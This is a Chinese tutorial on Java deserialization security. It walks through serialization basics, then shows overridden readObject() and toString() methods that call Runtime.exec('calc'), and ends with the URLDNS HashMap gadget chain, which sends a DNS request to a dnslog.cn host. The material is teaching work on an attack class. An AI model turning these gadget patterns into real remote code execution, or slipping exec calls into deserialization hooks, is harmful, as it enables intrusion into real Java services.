1、JavaEE-反序列化-解释&使用&安全
2、JavaEE-安全-利用链&直接重写方法
3、JavaEE-安全-利用链&外部重写方法
Java-原生使用-序列化&反序列化
Java-安全问题-重写方法&触发方法
Java-安全问题-可控其他类重写方法
一些罗列
1、序列化与反序列化
序列化:将内存中的对象压缩成字节流
反序列化:将字节流转化成内存中的对象
2、为什么有序列化技术
序列化与反序列化的设计就是用来传输数据的。
当两个进程进行通信的时候,可以通过序列化反序列化来进行传输。
能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过序列化将数据保存在文件中。
应用场景
(1) 想把内存中的对象保存到一个文件中或者是数据库当中。
(2) 用套接字在网络上传输对象。
(3) 通过RMI传输对象的时候。
3、几种创建的序列化和反序列化协议
• JAVA内置的writeObject()/readObject()
writeObject()//写 readObject()//读
• JAVA内置的XMLDecoder()/XMLEncoder
• XStream
• SnakeYaml
• FastJson
• Jackson
如果重写了readObject方法,可能不是一样的触发的链条了。
4、为什么会出现反序列化安全问题
内置原生写法分析
• 重写readObject方法
• 输出调用toString方法
5、反序列化利用链
(1) 入口类的readObject直接调用危险方法
(2) 入口参数中包含可控类,该类有危险方法,readObject时调用
(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用
(4) 构造函数/静态代码块等类加载时隐式执行
安全问题
(1) 入口类的readObject直接调用危险方法
(2) 入口参数中包含可控类,该类有危险方法,readObject时调用
(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用
(4) 构造函数/静态代码块等类加载时隐式执行
序列化(内置原生写法分析)
新建项目UserDemo,和上边一样默认配置就行。
package com.example.serialtestdemo;
import java.io.Serializable;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UserDemo implements Serializable {
public String name = "xiaodi";
public String gender = "man";
public Integer age = 30;
public UserDemo(String name, String gender, Integer age) {
this.name = name;
this.gender = gender;
this.age = age;
System.out.println("UsedDemo:"+name);
System.out.println("UsedDemo:"+gender);
System.out.println("UsedDemo:"+age);
}
@Override
public String toString() {
return "User{"+
"name='" + name + '\''+
", gender='" + gender +'\'' +
", age=" + age +
'}';
}
}
新建SeralizableDemo()
package com.example.serialtestdemo;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class SerializableDemo {
public static void main(String[] args) throws IOException {
//创建一个对象 引用UserDemo
UserDemo u = new UserDemo("zhangsan", "gay", 31);
//System.out.println(userDemo);
//调用方法,输出序列化的class
SerializableTest(u);
}
public static void SerializableTest(Object obj) throws IOException {
//FileOutputStream()输出文件
//将obj对象序列化后写入ser.txt
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
oos.writeObject(obj);
}
}
会生成对应的ser.txt,里面写的是序列化的内容
新建UnSerializableDemo,反序列化操作
package com.example.serialtestdemo;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnSerializableDemo {
public static void main(String[] args) throws IOException, ClassNotFoundException {
//调用下面的方法,传输ser.txt 解析还原返序列化
Object obj = UnSerializableTest("ser.txt");
System.out.println(obj);
}
public static Object UnSerializableTest(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
return o;
}
}
成功执行返序列化
整个流程:传入值-》序列化-》返序列化。
返序列化重要代码
public static Object UnSerializableTest(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
return o;
}
跟进readobject(),是在jdk自带的readObject()方法中
文件路径(C:\Program Files\Java\jdk1.8.0_181\jre\lib\rt.jar!\java\io\ObjectInputStream.class)
如果说我们不用自带的jdk的readObject()整个方法,自己写一个readObject()呢?就引出了下边的问题
重写readObject方法
修改UserDemo
package com.example.serialtestdemo;
import java.io.Serializable;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UserDemo implements Serializable {
public String name = "xiaodi";
public String gender = "man";
public Integer age = 30;
public UserDemo(String name, String gender, Integer age) {
this.name = name;
this.gender = gender;
this.age = age;
System.out.println("UsedDemo:"+name);
System.out.println("UsedDemo:"+gender);
System.out.println("UsedDemo:"+age);
}
@Override
public String toString() {
return "User{"+
"name='" + name + '\''+
", gender='" + gender +'\'' +
", age=" + age +
'}';
}
private void readObject(ObjectInputStream ois) throws IOException{
Runtime.getRuntime().exec("calc");
System.out.println("成功调用重写方法readObject()");
}
}
然后再次运行SerializableDemo,以及UnserializableDemo
会发现成功弹出计算器,成功调用了重写方法readObject()
(这边修改了一下UI界面,在文件-》设置-》UI设置里开启)
因为在UserDemo中有写readObject()方法,所以在执行的序列化的过程中去执行了自己写的的readObject()类,而不是本地环境自带的readObject()类~
跟踪代码
点击调试,让后步入进去。
随后执行了calc。这边问题本质是执行了自己写的readObject()方法。我们随后指向JDK自带的readObject()方法。
修改UserDemo的readobject()内容
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
//指向正确ReadObject
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
System.out.println("成功调用重写方法readObject()");
}
再一次进行返序列化看看效果(再调试跟一次)
发现和之前的流程不相同了。但是同样也可以弹出计算器~
输出调用toString方法
将UserDemo的readObject()方法注释掉,在toString方法中写入calc
package com.example.serialtestdemo;
import java.io.Serializable;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UserDemo implements Serializable {
public String name = "xiaodi";
public String gender = "man";
public Integer age = 30;
public UserDemo(String name, String gender, Integer age) {
this.name = name;
this.gender = gender;
this.age = age;
System.out.println("UsedDemo:"+name);
System.out.println("UsedDemo:"+gender);
System.out.println("UsedDemo:"+age);
}
@Override
public String toString() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
return "User{"+
"name='" + name + '\''+
", gender='" + gender +'\'' +
", age=" + age +
'}';
}
/*private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
//指向正确defaultReadObject
//ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
System.out.println("成功调用重写方法readObject()")
}*/
}
执行UnSerializableDemo,会发现弹出了计算器
是因为在执行输出时,对obj对象进行输出,默认调用原始对象toString()。
如果注释时输出,计算器将不会弹出。
重写readObject()方法,执行计算器
相当于执行序列化对象里面的readObject方法,而不是本身readObject() -》 jdk1.8
如果换一个类,里面有readObject类,会不会触发呢
首先去DNSlog去拿到一个DNS,填入代码的URL的地方
当进行序列化时有数据进行过请求
package com.example.serialtestdemo;
import java.io.IOException;
import java.io.Serializable;
import java.net.MalformedURLException;
import java.util.HashMap;
import java.net.URL;
import static com.example.serialtestdemo.SerializableDemo.SerializableTest;
public class UrlDns implements Serializable {
public static void main(String[] args) throws IOException {
HashMap<URL,Integer> hash = new HashMap<>();
URL url = new URL("http://6w75dv.dnslog.cn");
hash.put(url,1);
SerializableTest(hash);
}
}
当去掉序列化代码时,没有请求访问。序列化对象hash,来源自带类HashMap.(hashmap链)
Gadget Chain:
HashMap.readObject()
Hashmap.putVal()
HashMap.hash()
URL.hashCode()
ctrlf跟踪代码
1.正常代码中,创建HashMap方法返序列化数据
2.用到原生的readObject() 方法去返序列化
readObject在ObjectInputSteams
但HashMap也有readOabject()方法
3.反序列化readObject方法调用了HashMap里面的readObject方法
执行链
Gadget Chain:
HashMap.readObject()
Hashmap.putVal()
HashMap.hash()
URL.hashCode()
最后结果触发DNS请求,如果这里可以执行命令,就是RCE